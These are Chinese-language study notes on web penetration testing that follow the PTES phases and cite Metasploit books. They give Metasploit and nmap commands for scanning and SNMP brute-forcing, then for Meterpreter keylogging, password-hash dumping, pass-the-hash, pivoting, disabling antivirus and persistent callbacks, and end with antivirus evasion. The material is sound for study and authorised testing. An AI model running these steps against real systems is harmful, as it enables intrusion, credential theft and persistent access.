怎么渗透测试一个网站?
0、导读
本文参考《web攻防》和《metasploit渗透测试指南》更新中...
渗透测试的过程并非简单运用一些扫描器和自动化工具,然后根据结果写一份安全报告。
渗透测试完整的技术指南:
http://www.pentest-standard.org/index.php/Main_Page
总体分为七个阶段,并在每个阶段中定义不同的扩展级别。
1)前期交互阶段:让客户了解渗透测试将涉及哪些目标。
2)情报收集阶段
3)威胁建模阶段
4)漏洞分析阶段
5)渗透攻击阶段
6)后渗透攻击阶段
7)报告阶段
扫描器总结:OWASP Zed,IBM APPscanner,beStrom...
一、情报收集
网页中搜索信息、Google Hacking、为目标网络拓扑进行完整的扫描映射。在整个渗透测试过程中,你必须尽可能详细地对渗透测试工程的细节进行记录。
1.1 被动信息收集 (网络边界、运维人员、操作系统、服务器软件的类型)
使用被动和间接的信息收集技巧,可以在不接触到目标系统的情况下挖掘目标信息。
----whois、Netcraft(查找某个特定网站的服务器IP地址)、nslookup(邮件服务器的DNS记录等)、Google Hacking(site:test.net admin)
1.2 主动信息收集(端口、服务、存活的主机、运行的服务)
与系统直接的交互,进行更深入的了解。
1.2.1 nmap (-iL iptest.txt > res.txt) ;导入metasploit数据库中,PostgreSQL:
1)msf> db_connect postgres:toor@127.0.0.1/msf
2)nmap -Pn-sS -A -oX Subnet1.xml ip/ip_mask
3)msf>db_import /home/output/Subnet1.xml
1.2.2 TCP空闲扫描 (冒充网络上另一台主机的IP地址)scanner/ip/ipidseq auxiliary模块
1)msf>use auxiliary/scanner/ip/ipidseq
2)配置RHOSTS、THREADS参数
3)msf auxiliary(ipidseq) > nmap -PN -sI ip ip(-sI 选定指定ip)
1.2.3 在MSF终端中运行namp (推荐)
1)msf> db_connect postgres:toor@127.0.0.1/msf
2)db_dump -sS -A ip
3)msf> services -u (查看数据库中的扫描结果)
1.2.4 跳板攻击+postscan(metaspliot内建扫描器)
1) msf>search portscan
2)msf> use auxiliary/sacnner/postscan/syn
1.3 针对性扫描
1.3.1 服务器消息块协议扫描(445)
msf>use auxiliary/scanner/smb/smb_version 遍历一个网络并获得系统版本号
1.3.2 搜索配置不当的Microsoft SQL Server(TCP 1433端口或UDP1434端口查询)
msf auxiliary(smb_version) > use auxiliary/scanner/mssql/mssqlping
1.3.3 SSH服务器扫描(22)
不要以为你永远不会遇到一台没有安装补丁程序的老机器,这种幸运的是很有可能落到你头上。
msf auxiliary > use auxiliary/scanner/ssh/ssh_version
1.3.4 FTP扫描(21)
msf auxiliary > use auxiliary/scanner/ftp/ftp_version
msf auxiliary > use auxiliary/scanner/ftp/anonymous
1.3.5 简单网管协议扫描(SNMP)
用来报告带宽利用率、冲突率以及其他信息。一些操作系统也包含(CPU利用率、空闲内存)利用matasploit框架的scanner/snmp/snmp_login模块,可以尝试对一个ip或一段ip使用字典来拆解SNMP团体字符串。
也可通过nmap自带的审计脚本对snmp安全审计
弱口令检测:nmap –sU –p161 –script=snmp-brute ip //查找snmp弱口令
1.4 编写自己的扫描器
https://www.fujieace.com/metasploit/writing-scanner.html
编写一个快速定位目标系统上的每一个若口令或者未打补丁的服务。
>它提供对所有漏洞类和方法的访问
>为代理,SSL和报告提供支持
>内置线程和范围扫描
>易于编写和快速运行
metasploit框架软件的扫描器模块包含各种mixin(混入类)。用于TCP、SMB的渗透攻击mixin。面向对象编程的概念(Rudy)
二、漏洞扫描
漏洞扫描器是一种能够自动在计算机、信息系统、网络以及应用软件中寻找和发现安全弱点的程序。他通过网络对目标系统进行探测,向目标系统发送数据,并将反馈数据与自带的漏洞特征库进行匹配,进而列举出目标系统的安全漏洞。
Nexpose;将漏洞报告导入metasploit数据库;
Nessus;将扫描结果导入到netasploit框架中;
1)msf > db_import /root/Downloads/Host_239_envfme.nessus
2)msf > hosts -c address,svcs,vulns
3)msf > vulns
专用漏洞扫描器:(动静很大)
1)SMB登录扫描器(445)
2)扫描开放的VNC空口令(5900)
3)open_x11服务器(6000)等
用扫描结果进行自动化攻击
三、渗透攻击基础
MSF终端(msfconsole)、MSF编码器(msfencode)、以及MSF攻击载荷生成器(msfpayload)。
auxiliary(扫描、拒绝服务攻击工具、Fuzz测试器)
use、search、show payload、set payload、show targets、info
全端口攻击载荷:暴力破解开发端口
资源文件:命令列表(autoexploit.rc)
四、Meterpreter后渗透攻击
Meterpreter是Metasploit的一个扩展模块,对目标系统进行跟深入的渗透,包括反追踪、纯内纯工作模式、密码hash值获取、权限提升、跳板攻击等等。
基本命令: 截屏 screenshot 、sysinfo
获取键盘记录:进程迁移:ps、migrate 进程号。
meterpreter > run post/windows/capture/key_recorder
4.1 挖掘用户名和密码
1)提取密码hash值
meterpreter > priv
meterpreter > run post/windows/gather/hashdump
2)传递hash值
smb/psexecmo模块;设置好LHOST,LPORT、RHOST;将SMBPass变为获得的密码hash值
4.2 权限提升 ????第8章
4.3 令牌假冒
ps;use incognito;list_token -u;???
4.4 通过跳板攻击其他机器(Pivoting)
1)meterpreter > run getlocal_subnets 展示受控系统的子网
2)在MSF终端添加路由命令
3)scanner/postscan/tcp 对目标子网大范围的端口扫描
4.5 Meterpreter脚本
迁移进程(migrate);关闭杀毒软件(killav);获取系统密码hash值(hashdump);查看目标流量(packetrecorder -i 生成.pcap文件);获得系统信息(Scraper);
控制持久化(persistence 例:meterpreter > run persistence -X -i 50 -p 443 -r ip)开机自启动-X,-i 50 50重连一次;
5、免杀技术
大多数杀毒软件使用(signatures)来识别恶意代码。这些特征码装载在杀毒引擎中,用来对磁盘和进程进行扫描。并寻找匹配对象后,杀毒软件会有相应的处理流程:大多数会将感染病毒的二进制文件隔离,或者杀掉正在运行的进程。
1)针对受到杀毒软件保护的目标创建一个独一无二的攻击载荷;
2)攻击载荷运行在内存中,不将任何数据写入到硬盘上。
5.1 MSF攻击载荷生成器msfvenom